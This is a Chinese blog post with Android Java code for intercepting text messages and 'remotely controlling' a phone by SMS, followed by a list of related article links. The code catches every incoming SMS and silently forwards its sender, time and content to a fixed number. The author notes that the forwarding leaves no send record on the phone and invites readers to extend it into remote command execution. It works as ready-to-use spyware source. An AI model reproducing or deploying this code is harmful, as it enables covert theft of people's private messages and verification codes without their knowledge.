通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下,说一下简单的原理,要实现控制的话,必须得走一个固定的号码,固定的格式,然后通过得到此号码的内容,然后通过固定的内容,就可以了解需要做什么,再执行相应的代码,即可!代码很简单了!

在使用过程中的需要添加如下权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

我测试的时候是发送出去之后,手机上没有发送记录,当然了,你的手机肯定会留下扣费的记录的,因此也不是完全没有发送记录!因为这个是通过手机号发送的!

代码如下:

import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;public class SMS extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stub// 监听短信广播if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 获取短信内容for (Object pdu : pdus) {byte[] data = (byte[]) pdu;SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信数据生成短信对象String sender = message.getOriginatingAddress();// 获取短信的发送者String content = message.getMessageBody();// 获取短信的内容Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = format.format(date);SmsManager manager = SmsManager.getDefault();manager.sendTextMessage("5556", null, "发送人:" + sender+ "-----发送时间:" + sendtime + "----内容:" + content, null,null);// 把拦截到的短信发送到你指定的手机,此处为5556               }}}
}

android 转发短信相关推荐

  1. Android转发短信给QQ机器人

    背景 公司同事身处不同省份,都需要访问一个甲方的系统,登录系统需要短信验证码.手机在技术手上,经常打断工作去看验证码实在是影响工作效率,因此结合前面开发的QQ机器人,结合APP实现转发短信到服务器,再 ...

  2. android 短信转发设置权限,用Tasker实现Android手机短信转发到钉钉

    ​ 之前的一篇文章[<用Tasker实现Android手机短信转发到微信>](https://taskerm.com/2018/12/22/forwarded-sms-to-wechat. ...

  3. android实现短信自动转发

    我有两张手机卡,一张专门用来绑定银行卡的,一张拿来打电话用的.但是我的手机只能装一张银行卡,现在问题来了,我出门的就要带俩手机,非常麻烦.所以我就写了一个短信转发功能app,这样就可以只带一个手机出门 ...

  4. Sms开源短信及消息转发器,不仅只转发短信,备用机必备神器

    Sms开源短信及消息转发器,不仅只转发短信,备用机必备神器. 短信转发器--不仅只转发短信,备用机必备神器! 监控Android手机短信.来电.APP通知,并根据指定规则转发到其他手机:钉钉群自定义机 ...

  5. 自动转发短信安卓转iOS

    安装软件 配置 安卓安装<短信转发器> 下载地址(如果某个链接不能用,就试试别的) 短信转发器 Github:https://github.com/pppscn/SmsForwarder ...

  6. Android之——短信的备份与还原

    转载请注明出处:http://blog.csdn.net/l1028386804/article/details/47091281 眼下,Android手机中的一些软件能够实现手机短信的备份与还原操作 ...

  7. android 获取短信验证码倒计时

     android 获取短信验证码倒计时 public class MainActivity extends Activity { private Button submit;     privat ...

  8. android发送短信

    使用android发送短信,需要先进行添加发送,读取短信新的权限: <uses-permissionandroid:name="android.permission.RECEIVE_S ...

  9. Android接收短信-createFromPdu

    createFromPdu(byte[]) method was deprecated in API level 23. Use createFromPdu(byte[], String) inste ...

最新文章

  1. TensorFlow 输出tensor数据
  2. bzoj 1086: [SCOI2005]王室联邦
  3. Windows安装MySQL教程
  4. 汇编原理实验--输出ASCII码10H到100H
  5. 从零开始撸一个Fresco之内存缓存
  6. 利用SecureCRT在linux与Windows之间传输文件
  7. python实现带头结点的单链表的就地逆置_6-1 带头结点的单链表就地逆置 (10 分)...
  8. “攻击WPS样本”实为敲诈者
  9. 新浪微博时间格式解析java_仿新浪微博格式化时间
  10. OPENGL中的glViewport
  11. html网页制作中的问题,网页制作中注意应用HTML标签的问题
  12. php ddos 防御,PHP DDos的几个防御方法详解
  13. Python中round函数
  14. 颜色代码大全 - RGB颜色查询对照表
  15. CentOS 8 修改DNS地址
  16. vtkContourFilter等值面(线)
  17. AT学习报告一 软件的初步使用
  18. import torchvision报错,UserWarning: Failed to load image Python extension: Could not find module ‘C:\U
  19. Android监听系统输入法键盘弹出显示与隐藏事件
  20. LIO-SAM中的mapOptmization

热门文章

  1. 数据结构--链式线性表
  2. 为什么打不开_发票查重百科导出的发票台账为什么附件打不开?
  3. Java ClassLoader getPackage()方法与示例
  4. c#中textbox属性_C#.Net中的TextBox.MaxLength属性与示例
  5. Java——匿名内部类实现线程的两种方式
  6. 手机能上wifi电脑不行_锦囊在此(电脑手机如何配置使用WIFI)
  7. 软件工程---4.需求工程
  8. CentOS 7 安装nginx
  9. 数据可视化【二】HTML+CSS+SVG+D3
  10. C++(静态)(常量)数据进行初始化问题以及静态变量析构